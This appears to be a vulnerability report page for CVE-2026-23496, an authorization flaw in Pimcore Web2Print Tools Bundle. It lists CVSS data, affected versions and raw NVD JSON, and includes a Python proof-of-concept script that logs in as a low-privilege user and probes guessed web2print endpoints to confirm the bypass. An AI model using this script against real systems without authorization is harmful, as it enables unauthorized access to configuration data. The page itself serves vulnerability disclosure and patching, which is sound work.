Security Vulnerability Report
中文
CVE-2026-23496 CVSS 5.4 MEDIUM

CVE-2026-23496

Published: 2026-01-15 17:16:09
Last Modified: 2026-01-30 19:49:56

Description

Pimcore Web2Print Tools Bundle adds tools for web-to-print use cases to Pimcore. Prior to 5.2.2 and 6.1.1, the application fails to enforce proper server-side authorization checks on the API endpoint responsible for managing "Favourite Output Channel Configurations." Testing revealed that an authenticated backend user without explicitely lacking permissions for this feature was still able to successfully invoke the endpoint and modify or retrieve these configurations. This vulnerability is fixed in 5.2.2 and 6.1.1.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:pimcore:web2print_tools:*:*:*:*:*:pimcore:*:* - VULNERABLE
cpe:2.3:a:pimcore:web2print_tools:*:*:*:*:*:pimcore:*:* - VULNERABLE
Pimcore Web2Print Tools Bundle < 5.2.2
Pimcore Web2Print Tools Bundle < 6.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-23496 PoC - Pimcore Web2Print Tools Authorization Bypass # Target: Pimcore instance with vulnerable Web2Print Tools Bundle version TARGET_URL = "http://target-pimcore-instance.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_cve_2026_23496(): """ This PoC demonstrates the authorization bypass vulnerability in Pimcore Web2Print Tools Bundle. An authenticated user without explicit permissions can still access/modify Favourite Output Channel Configurations. """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{TARGET_URL}/admin/login" login_data = { "username": USERNAME, "password": PASSWORD } login_response = session.post(login_url, data=login_data) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful - Got authenticated session") # Step 2: Access the vulnerable API endpoint without proper authorization # This should be forbidden for users without web2print permissions api_endpoints = [ f"{TARGET_URL}/web2print/favourite-output-channel-configurations", f"{TARGET_URL}/admin/web2print/favourite-config/list", f"{TARGET_URL}/admin/web2print/favourite-config/update" ] for endpoint in api_endpoints: print(f"[*] Trying to access: {endpoint}") response = session.get(endpoint) if response.status_code == 200: print(f"[+] Authorization Bypass Confirmed! Endpoint: {endpoint}") print(f"[+] Response: {response.text[:500]}") return True print("[-] Exploitation failed - Target may be patched") return False if __name__ == "__main__": exploit_cve_2026_23496()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23496", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:08.747", "lastModified": "2026-01-30T19:49:56.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pimcore Web2Print Tools Bundle adds tools for web-to-print use cases to Pimcore. Prior to 5.2.2 and 6.1.1, the application fails to enforce proper server-side authorization checks on the API endpoint responsible for managing \"Favourite Output Channel Configurations.\" Testing revealed that an authenticated backend user without explicitely lacking permissions for this feature was still able to successfully invoke the endpoint and modify or retrieve these configurations. This vulnerability is fixed in 5.2.2 and 6.1.1."}, {"lang": "es", "value": "El Pimcore Web2Print Tools Bundle añade herramientas para casos de uso web-to-print a Pimcore. Antes de las versiones 5.2.2 y 6.1.1, la aplicación no logra aplicar comprobaciones de autorización adecuadas del lado del servidor en el endpoint de la API responsable de gestionar las 'Favourite Output Channel Configurations'. Las pruebas revelaron que un usuario de backend autenticado sin carecer explícitamente de permisos para esta característica aún podía invocar exitosamente el endpoint y modificar o recuperar estas configuraciones. Esta vulnerabilidad está corregida en las versiones 5.2.2 y 6.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pimcore:web2print_tools:*:*:*:*:*:pimcore:*:*", "versionEndExcluding": "5.2.2", "matchCriteriaId": "34D6DA7C-7CAF-4A15-BFA8-53753D4F7432"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pimcore:web2print_tools:*:*:*:*:*:pimcore:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.1.1", "matchCriteriaId": "0E66DF65-5F40-48E0-A6FD-8D7B793ECC3B"}]}]}], "references": [{"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-4wg4-p27p-5q2r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/pimcore/web2print-tools/commit/7714452a04b9f9b077752784af4b8d0b05e464a1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pimcore/web2print-tools/pull/108", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/pimcore/web2print-tools/releases/tag/v5.2.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pimcore/web2print-tools/releases/tag/v6.1.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-4wg4-p27p-5q2r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}